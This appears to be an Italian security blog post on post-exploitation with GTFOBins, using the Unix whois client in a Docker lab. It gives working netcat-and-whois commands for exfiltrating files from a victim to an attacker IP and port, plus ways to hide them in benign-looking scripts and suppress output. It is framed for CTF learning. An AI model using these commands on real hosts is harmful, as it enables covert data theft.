It's not a bug, it's a feature!


Quando si è in fase di post-exploitation solitamente si cerca di fare privilege escalation e salvare quante più informazioni possibili, soprattutto nel caso in cui non si riescano a mantenere i privilegi. Spesso risulta utile tentare di scoprire se le versioni dei vari daemon in esecuzione sono affette da una o più CVE (Common Vulnerabilities and Exposures) che permetta un raggiungimento degli obiettivi nel minor tempo possibile. A volte però, è possibile evitare il lungo lavoro di ricerca grazie ad alcune feature presenti in molti file eseguibili. Un po' di tempo fa ho scoperto un progetto open source che probabilmente qualcuno di voi già conosce: GTFOBins. Si tratta di una lista di binari Unix - per eseguibili Windows sul sito del progetto ne viene menzionato un altro dal nome LOLBAS - che possono essere sfruttati per poter bypassare restrizioni di sicurezza locali in varie situazioni, come il sito stesso riporta:

The project collects legitimate functions of Unix binaries that can be abused to [...] break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

Nella lista riportata sul sito sono presenti i nomi dei binari con accanto quelle che potremmo definire le "alternate functions":

Image
GTFOBins list screenshot

Per semplicità in questo articolo ci concentreremo sui binari Unix e faremo, duque, riferimento al progetto GTFOBins. In particolare, prenderemo in esame il comando whois e vedremo in che modo sia possibile exploitarlo per poter eseguire l'upload e/o il download di file di testo o eseguibili. Ciò potrebbe rivelarsi molto utile per alcuni scenari durante lo svolgimento di CTF. Prima di procedere, è bene osservare che nel caso di file di testo potrebbe risultare più interessante lo scenario del download, in quanto si potrebbero ottenere file contenenti informazioni interessanti. Per gli eseguibili, invece, è più plausibile uno scenario nel quale si voglia uploadare un trojan o un keylogger. Ovviamente non è detto che non esistano situazioni in cui invertire i termini sia comunque sensato.

Whois

L'eseguibile che troviamo installato sui sistemi Unix è un client per il protocollo di query e response WHOIS. Ricordiamo che l'utility whois controlla i record nei database mantenuti da vari Network Information Center (NIC) per recuperare informazioni su un determinato indirizzo IP o dominio. Senza ulteriori dettagli sul funzionamento del comando - non è questo lo scopo dell'articolo -, iniziamo a tenere a mente che la comunicazione fra il client ed il server avviene tramite socket. Dato che il client whois attende che il peer remoto chiuda la socket, è possibile sfruttare ciò per fare in modo che un utente vittima invii un file di testo (o eseguibile) ad un attaccante nel modo seguente: l'attaccante deve semplicemente aprire una connessione e rimanere in ascolto su una porta TCP (ovviamente non occupata) e attendere che l'utente vittima gli invii il file - sarà qui che verrà exploitato il comando whois.

Di seguito descriviamo una demo utilizzando due container docker con Kali Linux - come ormai siamo soliti fare - per simulare, dati un utente attaccante ed uno vittima, uno scenario in cui la vittima esegua "inconsapevolmente" l'upload di un file di testo verso l'host attaccante.

Upload di file di testo

In questo esempio di scenario supponiamo che un utente malevolo sia interessato ad un certo file, sia questo honey.txt. Per semplicità l'attaccante può avvalersi di netcat per aprire una socket e rimanere in attesa di una connessione. Basterà quindi eseguire il comando $: nc -lp $PORT > <text_file>, dove l'opzione -l indica di rimanere in ascolto, l'opzione -p prende in ingresso la $PORT da specificare e sulla quale mettersi in ascolto, <textfile> è il nome che sarà dato al file ricevuto. Dunque, apriamo il terminale sull'host attacker e mettiamoci in ascolto su una porta a piacere, per esempio la 4422, aggiungendo l'opzione -v (verbose) per avere a schermo qualche informazione su ciò accade in tempo reale:

Console screenshot
Attacker listening on port 4422 

A questo punto, per exploitare il comando whois, sarà sufficiente far eseguire alla vittima $: whois -h $IP -p $PORT $(cat <file>), dove l' opzione -h serve a specificare l'host remoto al quale sottomettere la query, -p ad indicare la porta ed il significato del cat su un file risulta abbastanza esplicito. Ricordiamo che ci sono diversi modi per costringere un utente ad eseguire un comando senza che se ne accorga, dall'ingegneria sociale alle chiamate di routine nascoste in qualche eseguibile artigianale. Per questo motivo possiamo tralasciare questo livello di astrazione e concentrarci maggiormente sull'exploit, supponendo che il comando eseguito dalla vittima si trovi in mezzo ad uno script apparentemente benevolo che svolga un generico job.

Facciamo dunque uno scambio d'identità e apriamo il terminale sull'host victim lanciando il comando specificando l'indirizzo IP dell'attacker, che in questo caso è 172.17.0.2 e la porta 4422 che abbiamo scelto precedentemente:

Console screenshot
Victim executing malicious whois

Noteremo subito che nell'host attaccante saranno apparsi dei messaggi di log che indicano una connessione in entrata da parte dell'IP vittima:

Console screenshot
Attacker receiving the file

Una volta terminato lo scambio del file, l'attacker chiuderà la connessione e l'host vittima ritornerà un messaggio di timeout perchè non riesce a leggere dati dall'host remoto. E' possibile ovviare a tale problema reindirizzando i messaggi di log e di errore nell'amato path /dev/null. Pertanto il comando da far eseguire alla vittima diventerà $: whois -h $IP -p $PORT $(cat <file>) &> /dev/null, dopo aver attuato altre tecniche di offuscamento, come ad esempio eliminare l'echo dalla shell $: stty -echo, ottenendo il seguente risultato:

Console screenshot
Victim executing hidden malicious whois

A questo punto possiamo verificare che l'attaccante abbia effettivamente ricevuto il file desiderato eseguendo un semplice cat del file:

Console screenshot
Attacker cat file

Prima di procedere è bene sottolineare che un procedimento analogo può essere svolto per fare in modo che l'utente vittima esegua l'upload di un file eseguibile. Sarà sufficiente modificare i comandi lanciati dai due partecipanti allo scambio nel seguente modo: l'attaccante resta in ascolto $: nc -lp $PORT | tr -d $'\x0d' | base64 -d > <binary_file> troncando il buffer ricevuto sul carriage return (\x0d) per poi decodificarlo e la vittima invia il file in base64 $: whois -h $IP -p $PORT $(base64 <file>).

Download di file binari

Prima di concludere, un secondo scenario che potrebbe risultare interessante da analizzare è quello in cui si fa in modo che la vittima scarichi un file eseguibile, ad esempio un trojan o un malware in generale, dall'host attaccante. Secondo la documentazione di GTFOBins ciò è possibile facendo eseguire all'attacker il comando $: base64 <bin_file> | nc -lp $PORT, che aprirà in modo analogo a quanto visto precedentemente una socket in ascolto:

Console screenshot
Attacker listening on port 4422

A questo punto, per exploitare il comando whois, sarebbe sufficiente far eseguire alla vittima il comando $: whois -h $IP -p $PORT | base64 -d > received. Peccato però che nel testare tale scenario, dopo circa 30-40 minuti il client rimane ancora in ascolto senza ricevere il file. È dunque probabile che questa feature sia stata fixata o che il buffer di trasferimento sia troppo piccolo per poter favorire il trasferimento di un file eseguibile. Giusto per curiosità, il binario che ho provato a trasferire deriva da un semplice Hello World in C++.

Conclusioni

Abbiamo descritto come sia possibile sfruttare un binario di sistema molto famoso quale whois e abbiamo osservato come questo possa essere sfruttato per compiere azioni malevole durante la fase di post-exploitation, quale exfiltrare file di testo appetibili da un host vittima. In questo caso particolare, anche per l'upload di file di testo abbastanza brevi, il tempo necessario per il trasferimento risulta abbastanza significativo a causa del buffer limitato - effettivamente whois non è stato pensato per trasferire file! - e, per tale motivo, ha senso sfruttare questo metodo in casi in cui il fattore tempo gioca un ruolo non prioritario o in situazioni in cui si lancia il comando e si passa a svolgere qualche altra attività evitando di fare busy waiting.


References

Commenti

Whois e Post-Exploitation from r/Rev3rse_Security